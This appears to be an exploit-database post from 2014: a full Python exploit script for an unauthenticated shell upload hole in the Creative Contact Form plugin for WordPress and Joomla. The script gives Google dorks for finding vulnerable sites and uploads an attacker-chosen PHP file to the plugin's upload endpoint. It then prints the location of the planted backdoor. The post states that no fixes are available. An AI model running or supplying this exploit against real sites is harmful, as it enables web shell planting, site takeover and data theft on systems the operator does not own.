Creative Contact Form (Wordpress 0.9.7 and Joomla 2.0.0) - Shell Upload Vulnerability

2014-10-25 12:05:05

#!/usr/bin/python
#
# Exploit Name: Wordpress and Joomla Creative Contact Form Shell Upload Vulnerability
# Wordpress plugin version: <= 0.9.7
# Joomla extension version: <= 2.0.0
#
# Vulnerability discovered by Gianni Angelozzi
#
# Exploit written by Claudio Viviani
#
# Dork google wordpress: inurl:inurl:sexy-contact-form
# Dork google joomla : inurl:com_creativecontactform
#
# Tested on BackBox 3.x
#
# http connection
import urllib, urllib2, sys, mimetypes
# Args management
import optparse
# file management
import os, os.path

# Check url
def checkurl(url):
if url[:8] != "https://" and url[:7] != "http://":
print('[X] You must insert http:// or https:// procotol')
sys.exit(1)
else:
return url

# Check if file exists and has readable
def checkfile(file):
if not os.path.isfile(file) and not os.access(file, os.R_OK):
print '[X] '+file+' file is missing or not readable'
sys.exit(1)
else:
return file
# Get file's mimetype
def get_content_type(filename):
return mimetypes.guess_type(filename)[0] or 'application/octet-stream'

# Create multipart header
def create_body_sh3ll_upl04d(payloadname):

getfields = dict()

payloadcontent = open(payloadname).read()

LIMIT = '----------lImIt_of_THE_fIle_eW_$'
CRLF = '\r\n'

L = []
for (key, value) in getfields.items():
L.append('--' + LIMIT)
L.append('Content-Disposition: form-data; name="%s"' % key)
L.append('')
L.append(value)

L.append('--' + LIMIT)
L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % ('files[]', payloadname))
L.append('Content-Type: %s' % get_content_type(payloadname))
L.append('')
L.append(payloadcontent)
L.append('--' + LIMIT + '--')
L.append('')
body = CRLF.join(L)
return body

banner = """


___ ___ __ __,-,__
| Y .-----.----.--| .-----.----.-----.-----. | ' '__|
|. | | _ | _| _ | _ | _| -__|__ --| | __|
|. / \ |_____|__| |_____| __|__| |_____|_____| |_______|
|: | _______ |__| __ |_|
|::.|:. | | _ .-----.-----.--------| .---.-.
`--- ---' |___| | _ | _ | | | _ |
|. | |_____|_____|__|__|__|__|___._|
|: 1 |
|::.. . |
`-------'
_______ __ __ _______ __ __
| _ .----.-----.---.-| |_|__.--.--.-----. | _ .-----.-----| |_.---.-.----| |_
|. 1___| _| -__| _ | _| | | | -__| |. 1___| _ | | _| _ | __| _|
|. |___|__| |_____|___._|____|__|\___/|_____| |. |___|_____|__|__|____|___._|____|____|
|: 1 | _______ |: 1 |
|::.. . | | _ .-----.----.--------. |::.. . |
`-------' |. 1___| _ | _| | `-------'
|. __) |_____|__| |__|__|__|
|: |
|::.|
`---'


Cr3ative C0nt4ct Form Sh3ll Upl04d

Discovered by:

Gianni Angelozzi

Written by:

Claudio Viviani

http://www.homelab.it

[email protected]
[email protected]

https://www.facebook.com/homelabit
https://twitter.com/homelabit
https://plus.google.com/+HomelabIt1/
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
"""

commandList = optparse.OptionParser('usage: %prog -t URL -c CMS-f FILENAME.PHP [--timeout sec]')
commandList.add_option('-t', '--target', action="store",
help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",
)
commandList.add_option('-c', '--cms', action="store",
help="Insert CMS Type: wordpress|joomla",
)
commandList.add_option('-f', '--file', action="store",
help="Insert file name, ex: shell.php",
)
commandList.add_option('--timeout', action="store", default=10, type="int",
help="[Timeout Value] - Default 10",
)

options, remainder = commandList.parse_args()

# Check args
if not options.target or not options.file or not options.cms:
print(banner)
commandList.print_help()
sys.exit(1)

payloadname = checkfile(options.file)
host = checkurl(options.target)
timeout = options.timeout
cmstype = options.cms

print(banner)

if options.cms == "wordpress":
url_sexy_upload = host+'/wp-content/plugins/sexy-contact-form/includes/fileupload/index.php'
backdoor_location = host+'/wp-content/plugins/sexy-contact-form/includes/fileupload/files/'

elif options.cms == "joomla":
url_sexy_upload = host+'/components/com_creativecontactform/fileupload/index.php'
backdoor_location = host+'/components/com_creativecontactform/fileupload/files/'

else:
print("[X] -c options require: 'wordpress' or 'joomla'")
sys.exit(1)

content_type = 'multipart/form-data; boundary=----------lImIt_of_THE_fIle_eW_$'

bodyupload = create_body_sh3ll_upl04d(payloadname)

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'content-type': content_type,
'content-length': str(len(bodyupload)) }

try:
req = urllib2.Request(url_sexy_upload, bodyupload, headers)
response = urllib2.urlopen(req)

if "error" in response.read():
print("[X] Upload Failed :(")
else:
print("[!] Shell Uploaded")
print("[!] "+backdoor_location+options.file)
except urllib2.HTTPError as e:
print("[X] Http Error: "+str(e.code))
except urllib2.URLError as e:
print("[X] Connection Error: "+str(e.code))

Fixes

No fixes

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